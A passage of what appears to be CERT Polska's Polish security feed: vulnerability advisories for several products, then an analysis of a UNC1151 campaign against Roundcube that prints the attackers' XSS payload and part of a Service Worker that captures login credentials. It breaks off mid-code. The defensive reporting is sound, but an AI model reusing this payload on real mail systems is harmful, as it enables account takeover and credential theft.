&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=48"&gt;Narzędzia do zapobiegania incydentom (T-8)&lt;span&gt;&lt;/span&gt;&lt;em&gt;47&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=49"&gt;Narzędzia do wykrywania incydentów (T-9)&lt;span&gt;&lt;/span&gt;&lt;em&gt;48&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=50"&gt;Narzędzia do rozwiązywania incydentów (T-10)&lt;span&gt;&lt;/span&gt;&lt;em&gt;49&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=52"&gt;&lt;strong&gt;Procesy (P)&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;51&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=54"&gt;Eskalacja na poziom zarządzania (P-1)&lt;span&gt;&lt;/span&gt;&lt;em&gt;53&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=55"&gt;Eskalacja do zespołu prasowego (P-2)&lt;span&gt;&lt;/span&gt;&lt;em&gt;54&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=56"&gt;Eskalacja do działu prawnego (P-3)&lt;span&gt;&lt;/span&gt;&lt;em&gt;55&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=57"&gt;Procesy: zapobiegania incydentom (P-4), wykrywania incydentów (P-5), rozwiązywania incydentów (P-6), szczególnych incydentów (P-7)&lt;span&gt;&lt;/span&gt;&lt;em&gt;56&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=58"&gt;Audyt i zbieranie informacji zwrotnej (P-8)&lt;span&gt;&lt;/span&gt;&lt;em&gt;57&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=59"&gt;Alarmowy kontakt z zespołem (P-9)&lt;span&gt;&lt;/span&gt;&lt;em&gt;58&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=60"&gt;Obecność w internecie (P-10)&lt;span&gt;&lt;/span&gt;&lt;em&gt;59&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=61"&gt;Bezpieczne przetwarzanie informacji (P-11)&lt;span&gt;&lt;/span&gt;&lt;em&gt;60&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=62"&gt;Zarządzanie źródłami informacji (P-12)&lt;span&gt;&lt;/span&gt;&lt;em&gt;61&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=63"&gt;Komunikacja z podmiotami constituency (P-13)&lt;span&gt;&lt;/span&gt;&lt;em&gt;62&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=63"&gt;Raportowanie do organu nadzorującego (P-14)&lt;span&gt;&lt;/span&gt;&lt;em&gt;62&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=64"&gt;Raportowanie do constituency (P-15)&lt;span&gt;&lt;/span&gt;&lt;em&gt;63&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=65"&gt;Spotkania wewnętrzne (P-16)&lt;span&gt;&lt;/span&gt;&lt;em&gt;64&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=65"&gt;Współpraca z zespołami partnerskimi (P-17)&lt;span&gt;&lt;/span&gt;&lt;em&gt;64&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=67"&gt;&lt;strong&gt;Spis rysunków&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;66&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=67"&gt;&lt;strong&gt;Spis tabel&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;66&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div&gt;&lt;a href="/uploads/docs/CERT_Polska_Rekomendacje_CSIRT.pdf#page=68"&gt;&lt;strong&gt;Załączniki&lt;/strong&gt;&lt;span&gt;&lt;/span&gt;&lt;em&gt;67&lt;/em&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;style&gt;
.article ul {
  font-size: 1.5em;
  clear: both;
}
.article ul ul {
  font-size: 0.9em;
}
.article ul ul ul {
  font-size: 0.9em;
}
.article ul ul ul ul {
  font-size: 0.9em;
}
.article ul div {
  display: inline-block;
  width: 100%;
}
.article ul div a {
  display: flex;
}
.article ul div a span {
  flex: 1 1;
  border-bottom: 1px dashed #999;
  margin: 0 0.3em 0.32em 0.3em;
}
.article ul div a em {
  white-space: nowrap;
}
.article .report-download {
  vertical-align: top;
  display: inline-block;
  text-align: center;
  margin: 5px 0 5px 20px;
  float: right;
}
.article .report-download img {
  width: 100%;
  max-width: 400px;
  margin: 0 0 10px 0;
}
.article .report-download .caption {
  display: block;
  font-weight: bold;
  font-size: 1.5em;
}
&lt;/style&gt;</content><category term="News"></category><category term="rekomendacje"></category><category term="csirt"></category></entry><entry><title>Podatność w oprogramowaniu Flexibits Fantastical</title><link href="https://cert.pl/posts/2025/08/CVE-2025-8533/" rel="alternate"></link><published>2025-08-07T11:55:00+01:00</published><updated>2025-08-07T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-08-07:/posts/2025/08/CVE-2025-8533/</id><summary type="html">W oprogramowaniu Flexibits Fantastical wykryto podatność typu Incorrect Authorization (CVE-2025-8533).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Flexibits Fantastical i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8533"&gt;CVE-2025-8533&lt;/a&gt;: Usługa XPC w Flexibits Fantastical nie wdrożyła odpowiednich mechanizmów autoryzacji klienta w metodzie &lt;code&gt;listener:shouldAcceptNewConnection&lt;/code&gt;, bezwarunkowo akceptując żądania od dowolnego lokalnego procesu. W rezultacie każdy lokalny, nieuprzywilejowany proces mógł połączyć się z usługą XPC i uzyskać dostęp do jej metod.&lt;/p&gt;
&lt;p&gt;Podatność została usunięta w wersji 4.0.16.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi i Sławomirowi Zakrzewskiemu z Afine Team.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu TSplus Remote Access</title><link href="https://cert.pl/posts/2025/07/CVE-2025-5922/" rel="alternate"></link><published>2025-07-29T15:00:00+01:00</published><updated>2025-07-29T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-07-29:/posts/2025/07/CVE-2025-5922/</id><summary type="html">W oprogramowaniu TSplus Remote Access wykryto podatność umożliwiającą poznanie hasha PINu zabezpieczającego aplikację przed uruchomieniem (CVE-2025-5922).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu TSplus Remote Access i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-5922"&gt;CVE-2025-5922&lt;/a&gt;: Dostęp do narzędzia TSplus Remote Access Admin Tool wymaga uprawnień administratora (chyba że włączono opcję „Disable UAC”) oraz podania kodu PIN. W wersjach poniżej v18.40.6.17 hash kodu PIN jest przechowywany w rejestrze systemowym dostępnym dla zwykłych użytkowników, co umożliwia przeprowadzenie ataku brute-force z użyciem tablic tęczowych, ponieważ nie została zastosowana sól.
Wersje LTS (Long-Term Support) również otrzymały poprawki w wydaniach v17.2025.6.27 oraz v16.2025.6.27.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy doktorowi Michałowi Walkowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu FARA</title><link href="https://cert.pl/posts/2025/07/CVE-2025-4049/" rel="alternate"></link><published>2025-07-21T10:00:00+01:00</published><updated>2025-07-21T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-07-21:/posts/2025/07/CVE-2025-4049/</id><summary type="html">W oprogramowaniu FARA firmy SIGNUM-NET wykryto podatność typu Use of Hard-coded Credentials (CVE-2025-4049).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu FARA firmy SIGNUM-NET i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4049"&gt;CVE-2025-4049&lt;/a&gt;:
Wykorzystanie zaszytych w kodzie, identycznych dla wszystkich klientów poświadczeń do bazy danych SQLite w SIGNUM-NET FARA umożliwia dostęp i edycję lokalnie przechowywanej bazy.
Podatność dotyczy programu FARA w wersjach do 5.0.80.34 włącznie.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Mateuszowi Sirko.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w aplikacjach preinstalowanych na telefonach Bluebird</title><link href="https://cert.pl/posts/2025/07/CVE-2025-5344/" rel="alternate"></link><published>2025-07-17T11:55:00+01:00</published><updated>2025-07-17T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-07-17:/posts/2025/07/CVE-2025-5344/</id><summary type="html">W aplikacjach preinstalowanych na telefonach Bluebird wykryto 3 podatności typu "Improper Export of Android Application Components" (od CVE-2025-5344 do CVE-2025-5346).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie dotyczące podatności w fabrycznie zainstalowanych aplikacjach na telefonach Bluebird i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-5344"&gt;CVE-2025-5344&lt;/a&gt;: Telefony marki Bluebird zawierają fabrycznie zainstalowaną aplikację kiosku. Ta aplikacja udostępnia niezabezpieczoną usługę &lt;code&gt;com.bluebird.kiosk.launcher.IpartnerKioskRemoteService&lt;/code&gt;. Złośliwa aplikacja może wykorzystać tę usługę do modyfikacji globalnych ustawień urządzenia oraz zmiany tapety.&lt;/p&gt;
&lt;p&gt;Ta podatność dotyczy wszystkich wersji przed wersją 1.1.2.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-5345"&gt;CVE-2025-5345&lt;/a&gt;: Telefony marki Bluebird zawierają fabrycznie zainstalowaną aplikację menedżera plików. Ta aplikacja udostępnia niezabezpieczoną usługę &lt;code&gt;com.bluebird.system.koreanpost.IsdcardRemoteService&lt;/code&gt;. Złośliwa aplikacja może wykorzystać tę usługę do kopiowania oraz usuwania dowolnego pliku z uprawnieniami systemowymi.&lt;/p&gt;
&lt;p&gt;Podatność występuje w wersji 1.4.4, wspomniana wersja została wycofana i zastąpiona starszą, w której podatność nie występuje: 1.3.6&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-5346"&gt;CVE-2025-5346&lt;/a&gt;: Telefony marki Bluebird zawierają fabrycznie zainstalowaną aplikację skanera kodów kreskowych. Ta aplikacja udostępnia niezabezpieczony odbiornik rozgłoszeniowy &lt;code&gt;kr.co.bluebird.android.bbsettings.BootReceiver&lt;/code&gt;. Złośliwa aplikacja może wykorzystać ten odbiornik do nadpisania plików, domyślnym plikiem konfiguracyjnym aplikacji. Możliwe jest nadpisanie dowolnego pliku, zawierającego w nazwie &lt;code&gt;.json&lt;/code&gt;, z wykorzystaniem ataku typu Path Traversal.&lt;/p&gt;
&lt;p&gt;Ta podatność dotyczy wszystkich wersji przed wersją 1.3.3.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu SUR-FBD CMMS</title><link href="https://cert.pl/posts/2025/07/CVE-2025-3920/" rel="alternate"></link><published>2025-07-07T12:00:00+01:00</published><updated>2025-07-07T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-07-07:/posts/2025/07/CVE-2025-3920/</id><summary type="html">W oprogramowaniu SUR-FBD CMMS wykryto podatność typu Use of Hard-coded Password (CVE-2025-3920).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu SUR-FBD CMMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;W oprogramowaniu SUR-FBD CMMS ujawniono podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-3920"&gt;CVE-2025-3920&lt;/a&gt; polegającą na umieszczeniu w pliku DLL poświadczeń do wbudowanego konta administratora. Atakujący z lokalnym dostępem do systemu bądź katalogu w którym aplikacja została zainstalowana mógł pozyskać te poświadczenia, co mogło prowadzić do uzyskania dostępu do aplikacji na poziomie administratora. Łatka naprawcza eliminująca tę podatność została opublikowana w wersji 2025.03.27. &lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Thomasowi Hayen (Easi).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności TCC Bypass w dwóch aplikacjach na systemy macOS</title><link href="https://cert.pl/posts/2025/06/tcc-bypass/" rel="alternate"></link><published>2025-06-20T11:55:00+01:00</published><updated>2025-06-20T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-06-20:/posts/2025/06/tcc-bypass/</id><summary type="html">W dwóch aplikacjach na systemy macOS została wykryta podatność typu TCC Bypass: Phoneix Code (CVE-2025-5255), Postbox (CVE-2025-5963).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach występujących w dwóch aplikacjach na systemy macOS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.body.org/CVERecord?id=CVE-2025-5255"&gt;CVE-2025-5255&lt;/a&gt;: Obecność uprawnienia &lt;code&gt;com.apple.security.cs.allow-dyld-environment-variables&lt;/code&gt; oraz &lt;code&gt;com.apple.security.cs.disable-library-validation&lt;/code&gt; w aplikacji Phoenix Code umożliwia podmianę dynamicznej biblioteki. Lokalny atakujący z dostępem do nieuprzywilejowanego konta z wykorzystaniem zmiennej środowiskowej &lt;code&gt;DYLD_INSERT_LIBRARIES&lt;/code&gt; może wstrzyknąć kod, który wykona się w kontekście aplikacji, omijając w ten sposób system Transparency, Consent, and Control (TCC). Uruchomiony kod uzyskuje jedynie uprawnienia do zasobów wcześniej przyznanych przez użytkownika. Dostęp do pozostałych zasobów, wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.&lt;/p&gt;
&lt;p&gt;Podatność została usunięta w poprawce o skrócie: &lt;code&gt;0c75fb57f89d0b7d9b180026bc2624b7dcf807da&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.body.org/CVERecord?id=CVE-2025-5963"&gt;CVE-2025-5963&lt;/a&gt;: Obecność uprawnienia &lt;code&gt;com.apple.security.cs.allow-dyld-environment-variables&lt;/code&gt; oraz &lt;code&gt;com.apple.security.cs.disable-library-validation&lt;/code&gt; w aplikacji Postbox umożliwia podmianę dynamicznej biblioteki. Lokalny atakujący z dostępem do nieuprzywilejowanego konta z wykorzystaniem zmiennej środowiskowej &lt;code&gt;DYLD_INSERT_LIBRARIES&lt;/code&gt; może wstrzyknąć kod, który wykona się w kontekście aplikacji, omijając w ten sposób system Transparency, Consent, and Control (TCC). Uruchomiony kod uzyskuje jedynie uprawnienia do zasobów wcześniej przyznanych przez użytkownika. Dostęp do pozostałych zasobów, wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.&lt;/p&gt;
&lt;p&gt;Firma odpowiedzialna za Postbox już nie istnieje, a oprogramowanie nie otrzyma potrzebnej aktualizacji. Postbox została przejęta przez firmę eM Client, która nie współpracowała z naszym zespołem w procesie koordynowanego ujawnienia podatności.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenia podatności dziękujemy Karolowi Mazurkowi z Afine.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Kampania UNC1151 wykorzystująca podatność w oprogramowaniu Roundcube do kradzieży poświadczeń</title><link href="https://cert.pl/posts/2025/06/unc1151-kampania-roundcube/" rel="alternate"></link><published>2025-06-05T14:00:00+02:00</published><updated>2025-06-05T14:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-06-05:/posts/2025/06/unc1151-kampania-roundcube/</id><summary type="html">CERT Polska obserwuje złośliwą kampanię e-mail prowadzoną przez grupę UNC1151 przeciwko polskim podmiotom z wykorzystaniem podatności w oprogramowaniu Roundcube.</summary><content type="html">&lt;p&gt;Zespół CERT Polska wykrył w tym tygodniu kampanię mailową wymierzoną w polskie podmioty, wykorzystującą podatność CVE-2024-42009 w oprogramowaniu Roundcube. Podatność umożliwia wykonanie kodu JavaScript w momencie odczytania maila, co zostało użyte w atakach mających na celu kradzież poświadczeń. &lt;/p&gt;
&lt;p&gt;Warto dodać, że w tym tygodniu została opublikowana również inna podatność – &lt;a href="https://moje.cert.pl/komunikaty/4/"&gt;CVE-2025-49113&lt;/a&gt;, która pozwala na zdalne wykonanie kodu na serwerze przez uwierzytelnionego użytkownika poczty. Mimo że nie widzieliśmy jeszcze jej wykorzystania, połączenie tych dwóch wektorów może prowadzić do pełnego przejęcia infrastruktury atakowanej organizacji.&lt;/p&gt;
&lt;p&gt;Wskaźniki techniczne pozwalają nam z wysokim prawdopodobieństwem wiązać te działania ze zbiorem aktywności UNC1151. Według publikacji firm &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1151-linked-to-belarus-government/"&gt;Mandiant&lt;/a&gt; i &lt;a href="https://blog.google/threat-analysis-group/update-threat-landscape-ukraine/"&gt;Google&lt;/a&gt; grupa UNC1151 jest łączona z rządem Białorusi, a według &lt;a href="https://www.gov.pl/web/sluzby-specjalne/ustalenia-abw-i-skw-dot-atakow-hakerskich"&gt;innych źródeł&lt;/a&gt; ma również związek z rosyjskimi służbami specjalnymi.&lt;/p&gt;
&lt;h2&gt;Analiza techniczna&lt;/h2&gt;
&lt;p&gt;Atakujący rozesłał e-maile z tytułem mającym nakłonić odbiorcę do podjęcia szybkiego działania i zapoznania się z treścią wiadomości. W&amp;nbsp;momencie jej otwarcia wykorzystywana była znana podatność w oprogramowaniu Roundcube (CVE-2024-42009).&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/uploads/2025/06/unc1151-roundcube-email/unc1151-roundcube-email.png"&gt;&lt;/p&gt;
&lt;h3&gt;Podatność CVE-2024-42009&lt;/h3&gt;
&lt;p&gt;Wykorzystana w tym ataku podatność to błąd w aplikacji Roundcube, pozwalający na wykonanie dowolnego kodu JavaScript w kontekście użytkownika odczytującego spreparowaną przez atakujących wiadomość e-mail. Klienty poczty elektronicznej działające w przeglądarce, takie jak Roundcube, muszą wyświetlić treść e-maila pozwalając na pewien zakres funkcjonalności HTML, ale bez możliwości wykonania niebezpiecznego kodu. Niebezpieczny kod w tym przypadku to taki, który może zmodyfikować elementy interfejsu klienta pocztowego i&amp;nbsp;wprowadzić użytkownika w błąd albo wykonywać inne akcje w jego imieniu. Najpoważniejszą konsekwencją może być całkowite przejęcie kontroli nad kontem poprzez przejęcie sesji użytkownika lub danych uwierzytelniania.
Aby bezpiecznie wyświetlić kod HTML, klient poczty elektronicznej musi pozbawić go niebezpiecznych elementów, np. znaczników i atrybutów umożliwiających wykonanie dowolnego kodu JavaScript. Jest to proces zwany sanityzacją i w tym przypadku jest to wyjątkowo trudny problem do rozwiązania. Na przestrzeni ostatnich lat znaleziono wiele podatności tego rodzaju, zarówno bezpośrednio w klientach poczty elektronicznej oraz w dedykowanych rozwiązaniach do sanityzacji kodu HTML. Zespół CERT Polska, badając webowe klienty poczty elektronicznej polskich dostawców w latach 2021-2022, znalazł&amp;nbsp;i zgłosił ponad 20 podatności XSS wykorzystywanych podczas odczytywania wiadomości e-mail, w tym jedną także w oprogramowaniu Roundcube.
Podatność CVE-2024-42009 została odkryta przez &lt;a href="https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/"&gt;badaczy Sonar w zeszłym roku&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Warto podkreślić, że atakujący najprawdopodobniej zakładał, iż administratorzy systemów zaniedbują regularne aktualizacje oprogramowania. Inne podatności typu XSS w Roundcube i podobnych klientach poczty były w przeszłości wielokrotnie używane przez różne grupy APT (m.in. APT28, Winter Vivern), jednak jest to &lt;strong&gt;pierwszy przypadek, gdy tę technikę stosuje klaster UNC1151&lt;/strong&gt;. Na podkreślenie zasługuje również wykorzystanie mechanizmu Service Worker w tego typu atakach.&lt;/p&gt;
&lt;h3&gt;Złośliwy kod&lt;/h3&gt;
&lt;p&gt;Złośliwy kod użyty przez atakującego składa się z dwóch części. Pierwsza uruchamiana jest poprzez wykorzystanie opisanej powyżej podatności i instaluje (z kodu dołączonego do wiadomości) tzw. Service Worker w przeglądarce użytkownika.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bgcolor=foo&amp;quot;&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bar&lt;/span&gt; &lt;span class="na"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;animation-name:progress-bar-stripes;&lt;/span&gt; &lt;span class="na"&gt;animation-duration:&lt;/span&gt; &lt;span class="na"&gt;1s&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt; 
&lt;span class="na"&gt;onanimationstart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;d=document.querySelector(&amp;#39;#attachment-list&amp;#39;);if(d)d.style.display=&amp;#39;none&amp;#39;;n=navigator;&lt;/span&gt;
&lt;span class="na"&gt;u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;d?.querySelector(&amp;#39;a&amp;#39;).href;if(u)n.serviceWorker.register(u)&lt;/span&gt; &lt;span class="err"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Service Workery to mechanizmy pozwalające na uruchomienie kodu JavaScript w tle i przechwytywanie wszystkich zapytań kierowanych&amp;nbsp;z przeglądarki użytkownika do domeny z kontekstu zainstalowanego Service Workera.&lt;/p&gt;
&lt;p&gt;Po poprawnej instalacji użytkownik jest następnie przenoszony na stronę logowania do poczty funkcją &lt;code&gt;window.location.href='./?_task=login&lt;/code&gt;.
Druga część kodu, która jest wykonywana w Service Workerze przechwytuje wszystkie próby zalogowania do aplikacji Roundcube i przesyła kopię wprowadzonych danych logowania na serwer atakujących.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;fetch&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;(...)&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cloned&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;cloned&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bodyText&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;URLSearchParams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bodyText&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
